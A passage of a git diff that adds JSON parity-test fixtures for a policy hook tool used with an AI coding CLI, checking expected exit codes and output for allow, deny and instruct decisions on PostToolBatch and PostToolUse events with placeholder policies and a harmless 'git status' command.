+ "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PostToolBatch/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/PostToolBatch/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..5668be9c --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostToolBatch/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PostToolBatch/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/PostToolBatch/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..d304ec05 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostToolBatch/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PostToolBatch/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/PostToolBatch/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..3011d670 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostToolBatch/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PostToolBatch/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/PostToolBatch/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..5b9521a1 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostToolBatch/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PostToolBatch/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/PostToolBatch/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..daa287d3 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostToolBatch/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PostToolBatch/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/PostToolBatch/deny__tool-present__one-policy.json new file mode 100644 index 00000000..29f06bc6 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostToolBatch/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PostToolBatch/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/PostToolBatch/deny__tool-present__two-policies.json new file mode 100644 index 00000000..3b0afe56 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostToolBatch/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PostToolBatch/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/PostToolBatch/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..d2b7d61e --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostToolBatch/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolBatch\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PostToolBatch/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/PostToolBatch/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..643b5535 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostToolBatch/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolBatch\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PostToolBatch/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/PostToolBatch/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..11cb64a9 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostToolBatch/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolBatch\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PostToolBatch/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/PostToolBatch/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..c4a262f0 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostToolBatch/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolBatch\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PostToolUse/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/PostToolUse/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..7cdec92c --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostToolUse/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PostToolUse/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/PostToolUse/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..b6cdb93d --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostToolUse/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PostToolUse/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/PostToolUse/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..cb658b50 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostToolUse/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PostToolUse/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/PostToolUse/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..875d795e --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostToolUse/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PostToolUse/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/PostToolUse/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..0045e0d4 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostToolUse/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PostToolUse/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/PostToolUse/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..5500d6dd --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostToolUse/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PostToolUse/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/PostToolUse/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..db6edbd3 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PostToolUse/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PostToolUse/allow-with-reason__tool-present__two-policies.json 